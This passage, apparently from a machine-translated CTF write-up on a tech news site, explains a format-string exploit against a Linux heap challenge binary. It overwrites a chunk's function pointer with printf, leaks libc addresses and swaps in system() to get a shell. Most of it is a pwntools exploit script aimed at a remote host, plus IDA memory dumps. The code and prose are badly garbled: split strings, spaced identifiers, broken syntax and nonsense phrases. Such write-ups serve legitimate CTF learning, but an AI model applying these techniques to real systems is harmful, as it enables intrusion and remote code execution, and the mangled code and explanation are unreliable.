Then the binary base address is used to calculate the real printf address of the binary system, and then the format character loophole is used to read and write any address. The following is the test process of using formatted character vulnerabilities to read and write any address after getting the printf real address printf_addr. We output 10% p and print the first few data values of the stack. Then we find the data that arg9 can control, so use the printf output parameter in the script to change to "% 9$ p" and read the ninth parameter.

Delete (0) payload = 'a%p%p%p%p%p%p%p%p%p%p'.ljust (0x18,' #') + p64 (printf_addr) # overrides chunk1's free function-> printfcreate (0x20 Payload) p.recvuntil ("quit") p.send ("delete") p.recvuntil ("id:") p.send (str (1) +'\ n') p.recvuntil ("?") p.send ("yes.1111" + p64 (addr) + "\ n") # trigger printf vulnerability p.recvuntil ('a') data = p.recvuntil ('#) [:-4]

The memory data for IDA debugging is as follows:

0000560DFCD3C000 0000 0000 0000 31 0000 0000 0000 00 .1.0000560DFCD3C010 40 C0D3 FC 0D 56 0000 0000 0000 @.... V.0000560DFCD3C020 1E 0000 0000 0000 00 6C CD 7C FB 0D 56 0000 .l.0000560DFCD3C030000 0000 0000 0000 31 0000 0000 0000 00 .1.0000560DFCD3C040 61 25 70 25 70 25 70 25 70 25 70 25 70 25 70 25 70 25 70 23 23 D0 C9 7C FB 0D 56 0000 p% pumped boxes. |.. V..00007FFE50BF9630 0000 0000 0000 01 0000 00 .00007FFE50BF9640 79 65 73 2E 31 313131 00 60 8C 2B 45 56 0000 yes.1111.`. + EV..00007FFCA59554F8 0000560DFB7CCE95 delete_sub_D95+10000007FFCA5955500 000000000000000000007FFCA5955508 0000000100000000 arg700007FFCA5955510 313131312E736579 arg800007FFCA5955518 0000560DFB7CC000 LOAD:0000560DFB7CC000 # arg9 read this arg9, so choose% 9 $s00007FFCA5955520 000000000000000A00007FFCA5955528 0000560DFB7CCA50 start00007FFCA5955530 00007FFCA5955D90 [stack]: 00007FFCA5955D90 here.

After realizing any address by using the format string vulnerability, read two libc functions, then determine the libc version, and obtain the corresponding libc version of system_addr.

Finally, using #! / usr/bin/python#-*-coding: UTF-8-*-from pwn import * context.log_level = 'debug'# target = process (' pwn-f') p = remote ('172.16.36.176), 10003) elf = ELF (". / pwn-f") libc_elf = ELF (". / libc-2.23.so") def create (size) String): p.recvuntil ('3.quitters') p.sendline ('create') p.recvuntil ('size:') p.sendline (str (size)) p.recvuntil (' str:') p.send (string) def delete (id): p.recvuntil ('3.quitters') p.sendline ('delete') p.recvuntil ('id:') p.sendline (str (id) p. Recvuntil ('sure?:') p.sendline (' yes') def leak (addr): global printf_addr delete (0) payload ='a% 9$ s'.ljust (0x18) '#') + p64 (printf_addr) # overrides chunk1's free function-> printf create (0x20) Payload) p.recvuntil ("quit") p.send ("delete") p.recvuntil ("id:") p.send (str (1) +'\ n') p.recvuntil ("?") p.send ("yes.1111" + p64 (addr) + "\ n") # trigger printf vulnerability p.recvuntil ('a') data = p.recvuntil ('#) [:-4] If len (data) = = 0: return'\ x00' if len (data) # calls the chunk1 left before and then overwrites delete (1) # call free-> call _ puts # step 3 leak base addr p.recvuntil ('b'*0x10) data= p.recvuntil ('\ n') [:-1] if len (data) > 8: data=data [: 8] data= U64 (data.ljust (0x8) '\ x00') # leaked puts address use it to calc base addr pwn_base_addr = data-0xd2d # minus binary base log.info ("pwn_base_addr: {}" .format (hex (pwn_base_addr) # found the base address of the plt table Here is the use of formatted strings # free-> printf # We first call delete with create strings and the freeshort address becomes printf You can control printing # step 4 get printf func addr printf_plt = pwn.plt ['printf'] printf_addr = pwn_base_addr + printf_plt # get real printf addr log.info ("printf_addr: {}" .format (hex (printf_addr) delete (0) # step 5 leak system addr create (0x20) Payload) # continue to call free-> puts delete (1) # this one can not be ignore because DynELF use the delete () at begin # reveal malloc_addr delete (0) payload ='a% 9$ s'.ljust (0x18 printf_addr) # override chunk1's free function-> printf create (0x20) Payload) p.recvuntil ("quit") p.send ("delete") p.recvuntil ("id:") p.send (str (1) +'\ n') p.recvuntil ("?") p.send ("yes.1111" + p64 (elf.got ["malloc"] + pwn_base_addr) + "\ n") # trigger printf vulnerability p.recvuntil ('a') data = p.recvuntil ( '# #) [:-4] malloc_addr = U64 (data.ljust (8) "\ x00") log.info ("malloc_addr: {}" .format (hex (malloc_addr)) # leaks puts_addr delete (0) payload ='a% 9$ s'.ljust (0x18 printf_addr) # overrides the free function of chunk1-> printf create (0x20) Payload) p.recvuntil ("quit") p.send ("delete") p.recvuntil ("id:") p.send (str (1) +'\ n') p.recvuntil ("?") p.send ("yes.1111" + p64 (elf.got ["puts"] + pwn_base_addr) + "\ n") # trigger printf vulnerability p.recvuntil ('a') data = p.recvuntil ( '# #) [:-4] puts_addr = U64 (data.ljust (8) "\ x00") log.info ("puts_addr: {}" .format (hex (puts_addr)) # calculates libc through two libc functions to determine system_addr from LibcSearcher import * obj = LibcSearcher ("puts", puts_addr) obj.add_condition ("malloc") Malloc_addr) # obj.selectin_id (3) libc_base = malloc_addr-obj.dump ("malloc") system_addr = obj.dump ("system") + libc_base # system offset log.info ("system_addr: {}" .format (hex (system_addr) # found the base address of the plt table Here is the use of # step 6 recover old function to system then get shell delete (0) create for formatting strings '.ljust (0x18 system_addr) + p64 (system_addr) # attention / bin/bash; I don`t not why add the'; 'delete (1) p.interactive () if _ _ name__ = =' _ main__': main () what are the basic knowledge points of Linux pwn? thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report